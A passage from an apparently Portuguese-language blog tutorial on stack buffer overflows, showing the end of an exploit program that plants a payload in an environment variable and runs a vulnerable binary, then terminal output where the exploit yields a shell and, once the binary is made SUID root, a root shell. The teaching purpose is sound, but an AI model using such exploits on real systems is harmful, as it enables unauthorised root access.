setenv(“B4D_R37″, var_amb, 1); // Setamos a varaivel com nome B4D_R37
execl(“./vuln02″, “vuln02″, buffer, 0); // Executamos o programa vulneravel
}
++++++++++++++++++++++++++++++++++++++++++
Não direi nada a respeito do código porque creio eu que ele já esteja bem comentado!
Vamos aos testes:
——————————————————–
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_2_xpl.c -o 1_2_xpl
1_2_xpl.c: In function `main’:
1_2_xpl.c:27: warning: assignment makes pointer from integer without a cast
1_2_xpl.c:37: warning: assignment makes pointer from integer without a cast
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl
Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿
sh-2.05b$ exit
exit
newbie@hostnotfound:~/tecnicas/stack_overflow$
——————————————————
VIVA! Conseguimos de PRIMEIRA! Sem chute de offsets nem nada disso
Endendendo o esquema do SUID
Só pra ficar mais claro agora!
———————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ su
Password:
root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chown root.root vuln02
root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chmod 4755 vuln02
root@hostnotfound:/home/newbie/técnicas/stack_overflow# exit
exit
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl
Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿
sh-2.05b$ id
uid=0(root) gid=0(root)
sh-2.05b$
———————————————
Este tutorial é bem explicativo para aquelas pessoas que ainda estão começando.
Aqueles que não entenderem este tutorial, aconselho a lerem os livros que eu traduzi em português.
aUTOR »JUAN
0 comentários:
Postar um comentário
ORA VIVA, OLHA TEU COMENTARIO VALE MAIS DO QUE OURO PARA MIM, PRECISO DELE PARA MELHORAR A DISPONIBILIDADE DO BLOG.